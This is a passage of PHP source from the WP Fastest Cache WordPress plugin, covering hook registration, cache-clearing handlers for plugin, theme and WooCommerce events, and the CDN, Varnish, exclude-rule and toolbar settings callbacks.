add_action( 'wp_ajax_wpfc_get_list_csp', array($this, 'wpfc_get_list_csp_callback'));
add_action( 'wp_ajax_wpfc_save_varnish', array($this, 'wpfc_save_varnish_callback'));
add_action( 'wp_ajax_wpfc_remove_varnish', array($this, 'wpfc_remove_varnish_callback'));
add_action( 'wp_ajax_wpfc_pause_varnish', array($this, 'wpfc_pause_varnish_callback'));
add_action( 'wp_ajax_wpfc_start_varnish', array($this, 'wpfc_start_varnish_callback'));
add_action( 'wp_ajax_wpfc_purgecache_varnish', array($this, 'wpfc_purgecache_varnish_callback'));
if(defined("WPFC_CLEAR_CACHE_AFTER_SWITCH_THEME") && WPFC_CLEAR_CACHE_AFTER_SWITCH_THEME){
add_action('after_switch_theme', array($this, 'clear_cache_after_switch_theme'));
}
if(defined("WPFC_CLEAR_CACHE_AFTER_ACTIVATE_DEACTIVATE_PLUGIN") && WPFC_CLEAR_CACHE_AFTER_ACTIVATE_DEACTIVATE_PLUGIN){
add_action('activate_plugin', array($this, 'clear_cache_after_activate_plugin'));
add_action('deactivate_plugin', array($this, 'clear_cache_after_deactivate_plugin'));
}
add_action('upgrader_process_complete', array($this, 'clear_cache_after_update_plugin'), 10, 2);
add_action('upgrader_process_complete', array($this, 'clear_cache_after_update_theme'), 10, 2);
if(defined("WPFC_DISABLE_CLEARING_CACHE_AFTER_WOOCOMMERCE_CHECKOUT_ORDER_PROCESSED") && WPFC_DISABLE_CLEARING_CACHE_AFTER_WOOCOMMERCE_CHECKOUT_ORDER_PROCESSED){
}else if(defined("WPFC_DISABLE_CLEARING_CACHE_AFTER_WOOCOMMERCE_ORDER_STATUS_CHANGED") && WPFC_DISABLE_CLEARING_CACHE_AFTER_WOOCOMMERCE_ORDER_STATUS_CHANGED){
}else{
// to clear cache after new Woocommerce orders
add_action('woocommerce_order_status_changed', array($this, 'clear_cache_after_woocommerce_order_status_changed'), 1, 1);
}
// kk Star Ratings: to clear the cache of the post after voting
add_action('kksr_rate', array($this, 'clear_cache_on_kksr_rate'));
// Elementor: to clear cache after Maintenance Mode activation/deactivation
add_action('elementor/maintenance_mode/mode_changed', array($this, 'deleteCache'));
// clearing cache hooks
add_action("wpfc_clear_all_cache", array($this, 'deleteCache'), 10, 1);
add_action("wpfc_clear_all_site_cache", array($this, 'wpfc_clear_cache_of_allsites_callback'));
add_action("wpfc_clear_post_cache_by_id", array($this, 'singleDeleteCache'), 10, 2);
// create cache by id hook
add_action("wpfc_create_post_cache_by_id", array($this, 'create_post_cache_by_id'), 10, 1);
// to enable Auto Cache Panel for the classic editor
add_action( 'admin_init', array($this, 'enable_auto_cache_settings_panel'));
// to add settings link
add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array($this, 'action_links'));
// to clear cache after ajax request by other plugins
if(isset($_POST["action"])){
// All In One Schema.org Rich Snippets
if(preg_match("/bsf_(update|submit)_rating/i", $_POST["action"])){
if(isset($_POST["post_id"])){
$this->singleDeleteCache(false, $_POST["post_id"]);
}
}
// Yet Another Stars Rating
if($_POST["action"] == "yasr_send_visitor_rating"){
if(isset($_POST["post_id"])){
// to need call like that because get_permalink() does not work if we call singleDeleteCache() directly
add_action('init', array($this, "singleDeleteCache"));
}
}
}
// to clear /tmpWpfc folder
if(is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
$this->rm_folder_recursively($this->getWpContentDir("/cache/tmpWpfc"));
}
if($this->isPluginActive('wp-polls/wp-polls.php')){
//for WP-Polls
require_once "inc/wp-polls.php";
$wp_polls = new WpPollsForWpFc();
$wp_polls->hook();
}
if(isset($_GET) && isset($_GET["action"]) && in_array($_GET["action"], $optimize_image_ajax_requests)){
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("image.php");
$img = new WpFastestCacheImageOptimisation();
$img->hook();
}
}else if(isset($_GET) && isset($_GET["action"]) && $_GET["action"] == "wpfastestcache"){
if(isset($_GET) && isset($_GET["type"]) && $_GET["type"] == "preload"){
// /?action=wpfastestcache&type=preload
add_action('init', array($this, "create_preload_cache"), 11);
}
if(isset($_GET) && isset($_GET["type"]) && preg_match("/^clearcache(andminified|allsites)*$/i", $_GET["type"])){
// /?action=wpfastestcache&type=clearcache&token=123
// /?action=wpfastestcache&type=clearcacheandminified&token=123
add_action('wp_loaded', array($this, "handle_custom_delete_cache_request"));
}
}else{
$this->setCustomInterval();
$this->options = $this->getOptions();
add_action('transition_post_status', array($this, 'on_all_status_transitions'), 10, 3 );
// when the regular price is updated, the "transition_post_status" action cannot catch it
add_action('woocommerce_update_product', array($this, 'clear_cache_after_woocommerce_update_product'), 10, 1);
$this->commentHooks();
$this->checkCronTime();
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("mobile-cache.php");
if(file_exists(WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/statics.php")){
include_once $this->get_premium_path("statics.php");
}
if(!defined('DOING_AJAX')){
include_once $this->get_premium_path("powerful-html.php");
}
}
if(is_admin()){
add_action('wp_loaded', array($this, "load_column"));
if(defined('DOING_AJAX') && DOING_AJAX){
//do nothing
}else{
// to avoid loading menu and optionPage() twice
if(!class_exists("WpFastestCacheAdmin")){
//for wp-panel
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("image.php");
}
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("logs.php");
}
add_action('plugins_loaded', array($this, 'wpfc_load_plugin_textdomain'));
add_action('wp_loaded', array($this, "load_admin_toolbar"));
$this->admin();
}
}
}else{
if(preg_match("/\/([^\/]+)\/([^\/]+(\.css|\.js))(\?.+)?$/", $this->current_url(), $path)){
// for security
if(preg_match("/\.{2,}/", $this->current_url())){
die("May be Directory Traversal Attack");
}
if(is_dir($this->getWpContentDir("/cache/wpfc-minified/").$path[1])){
if($sources = @scandir($this->getWpContentDir("/cache/wpfc-minified/").$path[1], 1)){
if(isset($sources[0])){
// $exist_url = str_replace($path[2], $sources[0], $this->current_url());
// header('Location: ' . $exist_url, true, 301);
// exit;
if(preg_match("/\.css/", $this->current_url())){
header('Content-type: text/css');
}else if(preg_match("/\.js/", $this->current_url())){
header('Content-type: text/js');
}
echo file_get_contents($this->getWpContentDir("/cache/wpfc-minified/").$path[1]."/".$sources[0]);
exit;
}
}
}
if(preg_match("/".basename($this->getWpContentDir("/cache/wpfc-minified/"))."/i", $this->current_url())){
//for non-exists minified files
if(preg_match("/\.css/", $this->current_url())){
header('Content-type: text/css');
die("/* File not found */");
}else if(preg_match("/\.js/", $this->current_url())){
header('Content-type: text/js');
die("//File not found");
}
}
}else{
// to show if the user is logged-in
add_action('wp_loaded', array($this, "load_admin_toolbar"));
//for cache
$this->cache();
}
}
}
}
public function handle_custom_delete_cache_request(){
if(isset($_GET["token"]) && $_GET["token"]){
if(defined("WPFC_CLEAR_CACHE_URL_TOKEN") && WPFC_CLEAR_CACHE_URL_TOKEN){
if(WPFC_CLEAR_CACHE_URL_TOKEN == $_GET["token"]){
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("mobile-cache.php");
}
if($_GET["type"] == "clearcache"){
if(isset($_GET["post_id"])){
$this->singleDeleteCache(false, $_GET["post_id"]);
}else{
$this->deleteCache();
}
}
if($_GET["type"] == "clearcacheandminified"){
$this->deleteCache(true);
}
if($_GET["type"] == "clearcacheallsites"){
$this->wpfc_clear_cache_of_allsites_callback();
}
die("Done");
}else{
die("Wrong token");
}
}else{
die("WPFC_CLEAR_CACHE_URL_TOKEN must be defined");
}
}else{
die("Security token must be set.");
}
}
public function enable_auto_cache_settings_panel(){
if($this->isPluginActive('classic-editor/classic-editor.php') || $this->isPluginActive('disable-gutenberg/disable-gutenberg.php') || has_filter("use_block_editor_for_post", "__return_false")){
add_action("add_meta_boxes", array($this, "add_meta_box"), 10, 2);
add_action('admin_notices', array($this, 'single_preload_inline_js'));
add_action('wp_ajax_wpfc_preload_single_save_settings', array($this, "wpfc_preload_single_save_settings_callback"));
add_action('wp_ajax_wpfc_preload_single', array($this, "wpfc_preload_single_callback"));
}
}
public function clear_cache_after_activate_plugin(){
$this->deleteCache(true);
}
public function clear_cache_after_deactivate_plugin(){
$this->deleteCache(true);
}
public function clear_cache_after_switch_theme(){
$this->deleteCache(true);
}
public function clear_cache_after_update_plugin($upgrader_object, $options){
if(isset($options['action']) && isset($options['type'])){
if($options['action'] == 'update'){
if($options['type'] == 'plugin' && (isset($options['plugins']) || isset($options['plugin']))){
$options_json = json_encode($options);
if(preg_match("/elementor\\\\\/elementor\.php/i", $options_json)){
$this->deleteCache(true);
}
if(defined("WPFC_CLEAR_CACHE_AFTER_PLUGIN_UPDATE") && WPFC_CLEAR_CACHE_AFTER_PLUGIN_UPDATE){
$this->deleteCache(true);
}
}
}
}
}
public function clear_cache_after_update_theme($upgrader_object, $options){
if(isset($options['action']) && isset($options['type'])){
if($options['action'] == 'update'){
if($options['type'] == 'theme' && isset($options['themes'])){
if(defined("WPFC_CLEAR_CACHE_AFTER_THEME_UPDATE") && WPFC_CLEAR_CACHE_AFTER_THEME_UPDATE){
$this->deleteCache(true);
}
}
}
}
}
public function action_links($actions){
$actions['powered_settings'] = sprintf(__( '<a href="%s">Settings</a>', 'wp-fastest-cache'), esc_url( admin_url( 'admin.php?page=wpfastestcacheoptions')));
return array_reverse($actions);
}
public function wpfc_preload_single_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'wpfc')){
die( 'Security check' );
}
include_once('inc/single-preload.php');
SinglePreloadWPFC::create_cache();
}
public function create_post_cache_by_id($id){
include_once('inc/single-preload.php');
SinglePreloadWPFC::init($id);
$res = SinglePreloadWPFC::create_cache_for_all_urls();
return $res;
}
public function single_preload_inline_js(){
include_once('inc/single-preload.php');
SinglePreloadWPFC::init();
SinglePreloadWPFC::put_inline_js();
}
public function add_meta_box(){
include_once('inc/single-preload.php');
SinglePreloadWPFC::add_meta_box();
}
public function wpfc_preload_single_save_settings_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'wpfc')){
die( 'Security check' );
}
include_once('inc/single-preload.php');
SinglePreloadWPFC::save_settings();
}
public function notify($message = array()){
if(isset($message[0]) && $message[0]){
if(function_exists("add_settings_error")){
add_settings_error('wpfc-notice', esc_attr( 'settings_updated' ), $message[0], $message[1]);
}
}
}
public function set_content_url(){
$content_url = content_url();
// Hide My WP
if($this->isPluginActive('hide_my_wp/hide-my-wp.php')){
$hide_my_wp = get_option("hide_my_wp");
if(isset($hide_my_wp["new_content_path"]) && $hide_my_wp["new_content_path"]){
$hide_my_wp["new_content_path"] = trim($hide_my_wp["new_content_path"], "/");
$content_url = str_replace(basename(WPFC_WP_CONTENT_DIR), $hide_my_wp["new_content_path"], $content_url);
}
}
// to change content url if a different url is used for other langs
if($this->isPluginActive('polylang/polylang.php') || $this->isPluginActive('polylang-pro/polylang.php')){
$url = parse_url($content_url);
if(isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST']){
if($url["host"] != $_SERVER['HTTP_HOST']){
$protocol = ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$content_url = $protocol.$_SERVER['HTTP_HOST'].$url['path'];
}
}
}
if (!defined('WPFC_WP_CONTENT_URL')) {
define("WPFC_WP_CONTENT_URL", $content_url);
}
$this->content_url = $content_url;
}
public function clear_cache_on_kksr_rate($id){
$this->singleDeleteCache(false, $id);
}
public function clear_cache_after_woocommerce_order_status_changed($order_id = false){
if(function_exists("wc_get_order")){
if($order_id){
$order = wc_get_order($order_id);
if($order){
foreach($order->get_items() as $item_key => $item_values ){
if(method_exists($item_values, 'get_product_id')){
$this->singleDeleteCache(false, $item_values->get_product_id());
}
}
}
}
}
}
public function wpfc_db_fix_callback(){
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
include_once $this->get_premium_path("db.php");
if(class_exists("WpFastestCacheDatabaseCleanup")){
WpFastestCacheDatabaseCleanup::clean($_GET["type"]);
}else{
die(json_encode(array("success" => false, "showupdatewarning" => true, "message" => "Only available in Premium version")));
}
}else{
die(json_encode(array("success" => false, "message" => "Only available in Premium version")));
}
}
public function wpfc_db_statics_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'wpfc')){
die( 'Security check' );
}
global $wpdb;
$statics = array("all_warnings" => 0,
"post_revisions" => 0,
"trashed_contents" => 0,
"trashed_spam_comments" => 0,
"trackback_pingback" => 0,
"transient_options" => 0
);
$statics["post_revisions"] = $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_type = 'revision';");
$statics["all_warnings"] = $statics["all_warnings"] + $statics["post_revisions"];
$statics["trashed_contents"] = $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_status = 'trash';");
$statics["all_warnings"] = $statics["all_warnings"] + $statics["trashed_contents"];
$statics["trashed_spam_comments"] = $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_approved = 'spam' OR comment_approved = 'trash' ;");
$statics["all_warnings"] = $statics["all_warnings"] + $statics["trashed_spam_comments"];
$statics["trackback_pingback"] = $wpdb->get_var("SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback' ;");
$statics["all_warnings"] = $statics["all_warnings"] + $statics["trackback_pingback"];
$element = "SELECT COUNT(*) FROM `$wpdb->options` WHERE option_name LIKE '%\_transient\_%' ;";
$statics["transient_options"] = $wpdb->get_var( $element ) > 100 ? $wpdb->get_var( $element ) : 0;
$statics["all_warnings"] = $statics["all_warnings"] + $statics["transient_options"];
die(json_encode($statics));
}
public function is_trailing_slash(){
// no need to check if Custom Permalinks plugin is active (https://tr.wordpress.org/plugins/custom-permalinks/)
if($this->isPluginActive("custom-permalinks/custom-permalinks.php")){
return false;
}
if($permalink_structure = get_option('permalink_structure')){
if(preg_match("/\/$/", $permalink_structure)){
return true;
}
}
return false;
}
public function wpfc_cache_statics_get_callback(){
if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
if(file_exists(WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/statics.php")){
include_once $this->get_premium_path("statics.php");
$cache_statics = new WpFastestCacheStatics();
$res = $cache_statics->get();
echo json_encode($res);
exit;
}
}
}
public function wpfc_check_url_ajax_request_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'cdn-nonce')){
die( 'Security check' );
}
include_once('inc/cdn.php');
CdnWPFC::check_url();
}
public function wpfc_cdn_template_ajax_request_callback(){
include_once('inc/cdn.php');
CdnWPFC::cdn_template();
}
public function wpfc_save_cdn_integration_ajax_request_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'cdn-nonce')){
die( 'Security check' );
}
include_once('inc/cdn.php');
CdnWPFC::save_cdn_integration();
}
public function wpfc_start_cdn_integration_ajax_request_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'cdn-nonce')){
die( 'Security check' );
}
include_once('inc/cdn.php');
CdnWPFC::start_cdn_integration();
}
public function wpfc_pause_cdn_integration_ajax_request_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'cdn-nonce')){
die( 'Security check' );
}
include_once('inc/cdn.php');
CdnWPFC::pause_cdn_integration();
}
public function wpfc_remove_cdn_integration_ajax_request_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'cdn-nonce')){
die( 'Security check' );
}
include_once('inc/cdn.php');
CdnWPFC::remove_cdn_integration();
}
public function wpfc_cdn_options_ajax_request_callback(){
include_once('inc/cdn.php');
CdnWPFC::cdn_options();
}
public function wpfc_save_exclude_pages_callback(){
if(!wp_verify_nonce($_POST["security"], 'wpfc-save-exclude-ajax-nonce')){
die( 'Security check' );
}
if(current_user_can('manage_options')){
if(isset($_POST["rules"])){
foreach ($_POST["rules"] as $key => &$value) {
$value["prefix"] = strip_tags($value["prefix"]);
$value["content"] = strip_tags($value["content"]);
$value["prefix"] = preg_replace("/\'|\"/", "", $value["prefix"]);
if($value["prefix"] == "regex"){
$value["content"] = stripslashes($value["content"]);
$value["content"] = esc_attr($value["content"]);
}else{
$value["content"] = preg_replace("/\'|\"/", "", $value["content"]);
$value["content"] = preg_replace("/(\#|\s|\(|\)|\*)/", "", $value["content"]);
}
if($value["prefix"] == "homepage"){
$this->deleteHomePageCache(false);
}
}
$data = json_encode($_POST["rules"]);
if(get_option("WpFastestCacheExclude")){
update_option("WpFastestCacheExclude", $data);
}else{
add_option("WpFastestCacheExclude", $data, null, "yes");
}
}else{
delete_option("WpFastestCacheExclude");
}
$this->modify_htaccess_for_exclude();
echo json_encode(array("success" => true));
exit;
}else{
wp_die("Must be admin");
}
}
public function modify_htaccess_for_exclude(){
$path = ABSPATH;
if($this->is_subdirectory_install()){
$path = $this->getABSPATH();
}
$htaccess = @file_get_contents($path.".htaccess");
if(preg_match("/\#\s?Start\sWPFC\sExclude/", $htaccess)){
$exclude_rules = $this->excludeRules();
$htaccess = preg_replace("/\#\s?Start\sWPFC\sExclude[^\#]*\#\s?End\sWPFC\sExclude\s+/", $exclude_rules, $htaccess);
}
@file_put_contents($path.".htaccess", $htaccess);
}
public function wpfc_purgecache_varnish_callback(){
if(!wp_verify_nonce($_REQUEST["security"], 'wpfc-varnish-ajax-nonce')){
die( 'Security check' );
}
if($varnish_datas = get_option("WpFastestCacheVarnish")){
include_once('inc/varnish.php');
$res_arr = VarnishWPFC::purge_cache($varnish_datas["server"]);
wp_send_json($res_arr);
}
}
public function wpfc_save_varnish_callback(){
include_once('inc/varnish.php');
VarnishWPFC::save();
}
public function wpfc_remove_varnish_callback(){
include_once('inc/varnish.php');
VarnishWPFC::remove();
}
public function wpfc_start_varnish_callback(){
include_once('inc/varnish.php');
VarnishWPFC::start();
}
public function wpfc_pause_varnish_callback(){
include_once('inc/varnish.php');
VarnishWPFC::pause();
}
public function wpfc_status_varnish(){
include_once('inc/varnish.php');
VarnishWPFC::status();
}
public function wpfc_get_list_csp_callback(){
include_once('inc/clearing-specific-pages.php');
ClearingSpecificPagesWPFC::get_list();
}
public function wpfc_save_csp_callback(){
include_once('inc/clearing-specific-pages.php');
ClearingSpecificPagesWPFC::save();
}
public function wpfc_remove_csp_callback(){
include_once('inc/clearing-specific-pages.php');
ClearingSpecificPagesWPFC::remove();
}
public function wpfc_save_timeout_pages_callback(){
if(!wp_verify_nonce($_POST["security"], 'wpfc-save-timeout-ajax-nonce')){
die( 'Security check' );
}
if(current_user_can('manage_options')){
$this->setCustomInterval();
$crons = _get_cron_array();
foreach ($crons as $cron_key => $cron_value) {
foreach ( (array) $cron_value as $hook => $events ) {
if(preg_match("/^wp\_fastest\_cache(.*)/", $hook, $id)){
if(!$id[1] || preg_match("/^\_(\d+)$/", $id[1])){
foreach ( (array) $events as $event_key => $event ) {
if($id[1]){
wp_clear_scheduled_hook("wp_fastest_cache".$id[1], $event["args"]);
}else{
wp_clear_scheduled_hook("wp_fastest_cache", $event["args"]);
}
}
}
}
}
}
if(isset($_POST["rules"]) && count($_POST["rules"]) > 0){
$i = 0;
foreach ($_POST["rules"] as $key => $value) {
if(preg_match("/^(daily|onceaday)$/i", $value["schedule"]) && isset($value["hour"]) && isset($value["minute"]) && strlen($value["hour"]) > 0 && strlen($value["minute"]) > 0){
$args = array("prefix" => $value["prefix"], "content" => $value["content"], "hour" => $value["hour"], "minute" => $value["minute"]);
$timestamp = mktime($value["hour"],$value["minute"],0,date("m"),date("d"),date("Y"));
$timestamp = $timestamp > time() ? $timestamp : $timestamp + 60*60*24;
}else{
$args = array("prefix" => $value["prefix"], "content" => $value["content"]);
$timestamp = time();
}
wp_schedule_event($timestamp, $value["schedule"], "wp_fastest_cache_".$i, array(json_encode($args)));
$i = $i + 1;
}
}
echo json_encode(array("success" => true));
exit;
}else{
wp_die("Must be admin");
}
}
public function wp_postratings_clear_fastest_cache($rate_userid, $post_id){
// to remove cache if vote is from homepage or category page or tag
if(isset($_SERVER["HTTP_REFERER"]) && $_SERVER["HTTP_REFERER"]){
$url = parse_url($_SERVER["HTTP_REFERER"]);
$url["path"] = isset($url["path"]) ? $url["path"] : "/index.html";
if(isset($url["path"])){
if($url["path"] == "/"){
$this->rm_folder_recursively($this->getWpContentDir("/cache/all/index.html"));
}else{
// to prevent changing path with ../ or with another method
if($url["path"] == realpath(".".$url["path"])){
$this->rm_folder_recursively($this->getWpContentDir("/cache/all").$url["path"]);
}
}
}
}
if($post_id){
$this->singleDeleteCache(false, $post_id);
}
}
private function admin(){
if(isset($_GET["page"]) && $_GET["page"] == "wpfastestcacheoptions"){
include_once('inc/admin.php');
$wpfc = new WpFastestCacheAdmin();
$wpfc->addMenuPage();
}else{
add_action('admin_menu', array($this, 'register_my_custom_menu_page'));
}
}
public function load_column(){
if(!defined('WPFC_HIDE_CLEAR_CACHE_BUTTON') || (defined('WPFC_HIDE_CLEAR_CACHE_BUTTON') && !WPFC_HIDE_CLEAR_CACHE_BUTTON)){
include_once plugin_dir_path(__FILE__)."inc/column.php";
$column = new WpFastestCacheColumn();
$column->add();
}
}
public function load_admin_toolbar(){
if(!defined('WPFC_HIDE_TOOLBAR') || (defined('WPFC_HIDE_TOOLBAR') && !WPFC_HIDE_TOOLBAR)){
$user = wp_get_current_user();
$allowed_roles = array('administrator');
$wpfc_role_status = get_option("WpFastestCacheToolbarSettings");
if(is_array($wpfc_role_status) && !empty($wpfc_role_status)){
foreach ($wpfc_role_status as $key => $value){
$key = str_replace("wpfc_toolbar_", "", $key);
array_push($allowed_roles, strtolower($key));
}
}
if(array_intersect($allowed_roles, $user->roles)){
include_once plugin_dir_path(__FILE__)."inc/admin-toolbar.php";
if(preg_match("/\/cache\/all/", $this->getWpContentDir("/cache/all"))){
$is_multi = false;
}else{
$is_multi = true;
}
$toolbar = new WpFastestCacheAdminToolbar($is_multi);
$toolbar->add();
}
}
}
public function tmp_saveOption(){
if(!empty($_POST)){
if(isset($_POST["wpFastestCachePage"])){
include_once('inc/admin.php');
$wpfc = new WpFastestCacheAdmin();
$wpfc->optionsPageRequest();
}
}
}
public function register_mysettings(){
register_setting('wpfc-group', 'wpfc-group', array($this, 'tmp_saveOption'));
}
public function register_my_custom_menu_page(){
if(function_exists('add_menu_page')){
if(defined("WPFC_MOVE_MENU_ITEM_UNDER_SETTINGS") && WPFC_MOVE_MENU_ITEM_UNDER_SETTINGS){
add_options_page("WP Fastest Cache Settings", "WP Fastest Cache", 'manage_options', 'wpfastestcacheoptions', array($this, 'optionsPage'));
}else{
add_menu_page("WP Fastest Cache Settings", "WP Fastest Cache", 'manage_options', "wpfastestcacheoptions", array($this, 'optionsPage'), plugins_url("wp-fastest-cache/images/icon.svg"));
}
add_action('admin_init', array($this, 'register_mysettings'));
wp_enqueue_style("wp-fastest-cache", plugins_url("wp-fastest-cache/css/style.css"), array(), time(), "all");
}
if(isset($_GET["page"]) && $_GET["page"] == "wpfastestcacheoptions"){
wp_enqueue_style("wp-fastest-cache-buycredit", plugins_url("wp-fastest-cache/css/buycredit.css"), array(), time(), "all");
wp_enqueue_style("wp-fastest-cache-flaticon", plugins_url("wp-fastest-cache/css/flaticon.css"), array(), time(), "all");
wp_enqueue_style("wp-fastest-cache-dialog", plugins_url("wp-fastest-cache/css/dialog.css"), array(), time(), "all");
}
}
public function deleteCacheToolbar(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'wpfc')){
die( 'Security check' );
}
$this->deleteCache();
}
public function deleteCssAndJsCacheToolbar(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'wpfc')){
die( 'Security check' );
}
$this->deleteCache(true);
}
public function wpfc_toolbar_get_settings_callback(){
if(current_user_can('manage_options')){
$result = array("success" => true, "roles" => false);
$wpfc_role_status = get_option("WpFastestCacheToolbarSettings");
if(is_array($wpfc_role_status) && !empty($wpfc_role_status)){
$result["roles"] = $wpfc_role_status;
}
die(json_encode($result));
}else{
wp_die("Must be admin");
}
}
public function wpfc_cache_path_save_settings_callback(){
if(current_user_can('manage_options')){
foreach($_POST as $key => &$value){
$value = esc_html(esc_sql($value));
}
$path_arr = array(
"cachepath" => sanitize_text_field($_POST["cachepath"]),
"optimizedpath" => sanitize_text_field($_POST["optimizedpath"])
);
if(get_option("WpFastestCachePathSettings") === false){
add_option("WpFastestCachePathSettings", $path_arr, 1, "no");
}else{
update_option("WpFastestCachePathSettings", $path_arr);
}
die(json_encode(array("success" => true)));
}else{
wp_die("Must be admin");
}
}
public function wpfc_toolbar_save_settings_callback(){
if(!wp_verify_nonce($_REQUEST["nonce"], 'wpfc')){
die( 'Security check' );
}
if(current_user_can('manage_options')){
if(isset($_GET["roles"]) && is_array($_GET["roles"]) && !empty($_GET["roles"])){
$roles_arr = array();
foreach($_GET["roles"] as $key => $value){
$value = esc_html(esc_sql($value));
$key = esc_html(esc_sql($key));
$roles_arr[$key] = $value;
}
if(get_option("WpFastestCacheToolbarSettings") === false){
add_option("WpFastestCacheToolbarSettings", $roles_arr, 1, "no");
}else{
update_option("WpFastestCacheToolbarSettings", $roles_arr);
}
}else{
delete_option("WpFastestCacheToolbarSettings");
}
die(json_encode(array("Saved","success")));
}else{
wp_die("Must be admin");
}
}
public function wpfc_clear_cache_of_allsites_callback(){
if(defined('DOING_AJAX') && DOING_AJAX){
if(!wp_verify_nonce($_REQUEST["nonce"], 'wpfc')){
die( 'Security check' );
}
}
include_once('inc/cdn.php');
CdnWPFC::cloudflare_clear_cache();
$path = $this->getWpContentDir("/cache/*");
$files = glob($this->getWpContentDir("/cache/*"));
if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
if(@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true)){
//tmpWpfc has been created
}
}
foreach ((array)$files as $file){
@rename($file, $this->getWpContentDir("/cache/tmpWpfc/").basename($file)."-".time());
}
if (is_admin() && defined('DOING_AJAX') && DOING_AJAX){
die(json_encode(array("The cache of page has been cleared","success")));
}
}
public function delete_current_page_cache(){
if(!wp_verify_nonce($_GET["nonce"], "wpfc")){
die(json_encode(array("Security Error!", "error", "alert")));
}
if($varnish_datas = get_option("WpFastestCacheVarnish")){
include_once('inc/varnish.php');
VarnishWPFC::purge_cache($varnish_datas);
}
include_once('inc/cdn.php');
CdnWPFC::cloudflare_clear_cache();
if(isset($_GET["path"])){
if($_GET["path"]){
if($_GET["path"] == "/"){
$_GET["path"] = $_GET["path"]."index.html";
}
}else{
$_GET["path"] = "/index.html";
}
$_GET["path"] = urldecode(esc_url_raw($_GET["path"]));
// for security
if(preg_match("/\.{2,}/", $_GET["path"])){
die("May be Directory Traversal Attack");
}
$paths = array();
array_push($paths, $this->getWpContentDir("/cache/all").$_GET["path"]);
if(class_exists("WpFcMobileCache")){
$wpfc_mobile = new WpFcMobileCache();
array_push($paths, $this->getWpContentDir("/cache/wpfc-mobile-cache").$_GET["path"]);
}
foreach ($paths as $key => $value){
if(file_exists($value)){
if(preg_match("/\/(all|wpfc-mobile-cache)\/index\.html$/i", $value)){
@unlink($value);
}else{
$this->rm_folder_recursively($value);
}
}
}
$this->delete_multiple_domain_mapping_cache();
die(json_encode(array("The cache of page has been cleared","success")));
}else{
die(json_encode(array("Path has NOT been defined", "error", "alert")));
}
exit;
}
private function cache(){
if(isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST']){
include_once('inc/cache.php');
$wpfc = new WpFastestCacheCreateCache();
$wpfc->createCache();
}
}
protected function slug(){
return "wp_fastest_cache";
}
public function getWpContentDir($path = false){
/*
Sample Paths;
/cache/
/cache/all/
/cache/all
/cache/all/page
/cache/all/index.html
/cache/wpfc-minified
/cache/wpfc-widget-cache
/cache/wpfc-mobile-cache/
/cache/wpfc-mobile-cache/page
/cache/wpfc-mobile-cache/index.html
/cache/tmpWpfc
/cache/tmpWpfc/
/cache/tmpWpfc/mobile_
/cache/tmpWpfc/m
/cache/tmpWpfc/w
/cache/testWpFc/
/cache/all/testWpFc/
/cache/wpfc-widget-cache/
/cache/wpfc-widget-cache
/cache/wpfc-widget-cache/".$args["widget_id"].".html
*/
if($path){
if(preg_match("/\/cache\/(all|wpfc-minified|wpfc-widget-cache|wpfc-mobile-cache)/", $path)){
//WPML language switch
//https://wpml.org/forums/topic/wpml-language-switch-wp-fastest-cache-issue/
$language_negotiation_type = apply_filters('wpml_setting', false, 'language_negotiation_type');
if(($language_negotiation_type == 2) && $this->isPluginActive('sitepress-multilingual-cms/sitepress.php')){
$my_home_url = apply_filters('wpml_home_url', get_option('home'));
$my_home_url = preg_replace("/https?\:\/\//i", "", $my_home_url);
$my_home_url = trim($my_home_url, "/");
$path = preg_replace("/\/cache\/(all|wpfc-minified|wpfc-widget-cache|wpfc-mobile-cache)/", "/cache/".$my_home_url."/$1", $path);
}else if(($language_negotiation_type == 1) && $this->isPluginActive('sitepress-multilingual-cms/sitepress.php')){
$my_current_lang = apply_filters('wpml_current_language', NULL);
if($my_current_lang){
$path = preg_replace("/\/cache\/wpfc-widget-cache\/(.+)/", "/cache/wpfc-widget-cache/".$my_current_lang."-"."$1", $path);
}
}
if($this->isPluginActive('multiple-domain-mapping-on-single-site/multidomainmapping.php')){
$path = preg_replace("/\/cache\/(all|wpfc-minified|wpfc-widget-cache|wpfc-mobile-cache)/", "/cache/".$_SERVER['HTTP_HOST']."/$1", $path);
}
if($this->isPluginActive('polylang/polylang.php')){
$polylang_settings = get_option("polylang");
if(isset($polylang_settings["force_lang"])){
if($polylang_settings["force_lang"] == 2 || $polylang_settings["force_lang"] == 3){
// The language is set from the subdomain name in pretty permalinks
